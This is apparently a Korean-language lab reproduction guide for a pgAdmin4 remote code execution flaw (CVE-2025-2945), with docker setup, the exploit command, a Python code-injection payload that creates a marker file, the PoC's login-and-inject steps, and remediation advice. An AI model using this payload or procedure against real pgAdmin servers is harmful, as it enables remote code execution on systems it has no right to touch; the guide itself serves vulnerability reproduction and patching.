Share
## https://sploitus.com/exploit?id=46282261-1700-5F34-B158-F4D662D564D2
# CVE-2025-2945

**Contributors**
- [μž₯μ›λΉˆ (@onxvyn)](https://github.com/onxvyn)

# pgAdmin4 원격 μ½”λ“œ μ‹€ν–‰ (CVE-2025-2945)

pgAdmin4λŠ” PostgreSQL λ°μ΄ν„°λ² μ΄μŠ€λ₯Ό μœ„ν•œ μ˜€ν”ˆμ†ŒμŠ€ μ›Ή 기반 관리 ν”Œλž«νΌμž…λ‹ˆλ‹€. 버전 9.2 λ―Έλ§Œμ—μ„œ 쿼리 툴의 `/sqleditor/query_tool/download` μ—”λ“œν¬μΈνŠΈκ°€ `query_commited` νŒŒλΌλ―Έν„°λ₯Ό Python `eval()`에 검증 없이 μ „λ‹¬ν•©λ‹ˆλ‹€. 인증된 κ³΅κ²©μžλŠ” 이λ₯Ό μ΄μš©ν•΄ μ„œλ²„μ—μ„œ μž„μ˜μ˜ μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

### 참고 자료 (References)
- https://nvd.nist.gov/vuln/detail/CVE-2025-2945
- https://github.com/advisories/GHSA-g73c-fw68-pwx3
- https://github.com/Cycloctane/cve-2025-2945-poc

---

### ν™˜κ²½ μ„€μ • (Environment Setup)

λ‹€μŒ λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰ν•˜μ—¬ pgAdmin4 9.1 기반의 μ·¨μ•½ν•œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μ‹œμž‘ν•©λ‹ˆλ‹€:

```bash
docker compose up -d
```

**사전 μš”κ΅¬μ‚¬ν•­ (Prerequisites)**

PoC 싀행을 μœ„ν•΄ Python `requests` λΌμ΄λΈŒλŸ¬λ¦¬κ°€ ν•„μš”ν•©λ‹ˆλ‹€:

```bash
pip install requests
```

> **Note:** PostgreSQL λ°μ΄ν„°λ² μ΄μŠ€λŠ” `docker-compose.yml`에 미리 μ„€μ •λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. μ„œλΉ„μŠ€ μ‹œμž‘ ν›„ `http://your-ip:5050`에 μ ‘μ†ν•˜λ©΄ 둜그인 νŽ˜μ΄μ§€κ°€ ν‘œμ‹œλ©λ‹ˆλ‹€.

![](1.png)

---

### μ·¨μ•½ 쑰건

λ³Έ μ‹€μŠ΅ ν™˜κ²½μ—μ„œ 취약점이 μž¬ν˜„λ˜κΈ° μœ„ν•œ 쑰건은 λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€.

1. pgAdmin4 9.2 미만 버전이 μ‹€ν–‰ 쀑이어야 ν•©λ‹ˆλ‹€.

2. κ³΅κ²©μžκ°€ pgAdmin4 μ›Ή μ„œλΉ„μŠ€μ— μ ‘κ·Όν•  수 μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€.

3. μœ νš¨ν•œ pgAdmin4 계정 자격증λͺ…을 λ³΄μœ ν•΄μ•Ό ν•©λ‹ˆλ‹€.

4. SQL 에디터λ₯Ό μ΄ˆκΈ°ν™”ν•  수 μžˆλŠ” PostgreSQL λ°μ΄ν„°λ² μ΄μŠ€κ°€ μ—°κ²°λ˜μ–΄ μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€.

5. `/sqleditor/query_tool/download` μ—”λ“œν¬μΈνŠΈμ— μ‘°μž‘λœ `query_commited` νŒŒλΌλ―Έν„°λ₯Ό 전솑할 수 μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€.

---

### 취약점 μž¬ν˜„ (Vulnerability Reproduction)

**1. 곡격 μ „ μƒνƒœ 확인**

PoC μ‹€ν–‰ μ „ marker 파일이 μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ”μ§€ ν™•μΈν•©λ‹ˆλ‹€:

```bash
docker compose exec web ls -al /tmp/
```

![](2.png)



**2. PoC μ‹€ν–‰**

κΈ°λ³Έ 자격증λͺ…(`vulhub@example.com` / `vulhub`)으둜 μ•„λž˜ λͺ…령을 μ‹€ν–‰ν•©λ‹ˆλ‹€:

```bash
python3 poc.py \
  --target-url http://your-ip:5050 \
  --username vulhub@example.com \
  --password vulhub \
  --db-user vulhub \
  --db-pass vulhub \
  --db-name vulhub \
  --payload "__import__('os').system('touch /tmp/CVE-2025-2945-success')"
```

PoCλŠ” λ‹€μŒ μˆœμ„œλ‘œ λ™μž‘ν•©λ‹ˆλ‹€:

1. CSRF 토큰 νšλ“ β†’ pgAdmin4 둜그인
2. μœ νš¨ν•œ μ„œλ²„ ID 탐색
3. SQL 에디터 μ„Έμ…˜ μ΄ˆκΈ°ν™”
4. `query_commited` νŒŒλΌλ―Έν„°μ— Python μ½”λ“œ μ£Όμž… β†’ `eval()` μ‹€ν–‰ β†’ 원격 μ½”λ“œ μ‹€ν–‰(RCE)

> **Note:** `/sqleditor/query_tool/download` μš”μ²­μ€ HTTP 500을 λ°˜ν™˜ν•˜μ§€λ§Œ, μ΄λŠ” `eval()` μ‹€ν–‰ ν›„ λ°˜ν™˜κ°’ 처리 κ³Όμ •μ—μ„œ λ°œμƒν•˜λŠ” 였λ₯˜λ‘œ λͺ…λ Ή μ‹€ν–‰ μžμ²΄λŠ” 이미 μ™„λ£Œλœ μƒνƒœμž…λ‹ˆλ‹€. marker 파일 생성 μ—¬λΆ€λ‘œ 성곡을 νŒλ‹¨ν•©λ‹ˆλ‹€.

**3. μ‹€ν–‰ κ²°κ³Ό 확인**

```bash
docker compose exec web ls -al /tmp/
```

μ•„λž˜μ™€ 같이 `/tmp` 디렉토리에 `CVE-2025-2945-success` 파일이 μƒμ„±λœ 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€:

![](3.png)

---

### λŒ€μ‘ λ°©μ•ˆ (Remediation)

- pgAdmin4λ₯Ό **9.2 이상**으둜 μ—…κ·Έλ ˆμ΄λ“œν•©λ‹ˆλ‹€. ν•΄λ‹Ή λ²„μ „μ—μ„œ `eval()` λŒ€μ‹  μ•ˆμ „ν•œ μž…λ ₯ νŒŒμ‹± λ°©μ‹μœΌλ‘œ μˆ˜μ •λ˜μ—ˆμŠ΅λ‹ˆλ‹€.
- μ¦‰μ‹œ μ—…κ·Έλ ˆμ΄λ“œκ°€ λΆˆκ°€λŠ₯ν•œ 경우, λ°©ν™”λ²½ λ˜λŠ” λ¦¬λ²„μŠ€ ν”„λ‘μ‹œλ₯Ό 톡해 pgAdmin4 μ›Ή μΈν„°νŽ˜μ΄μŠ€μ˜ μ™ΈλΆ€ 접근을 μ°¨λ‹¨ν•©λ‹ˆλ‹€.
- `/sqleditor/query_tool/download` μ—”λ“œν¬μΈνŠΈμ— λŒ€ν•œ 비정상 μš”μ²­μ„ λͺ¨λ‹ˆν„°λ§ν•©λ‹ˆλ‹€.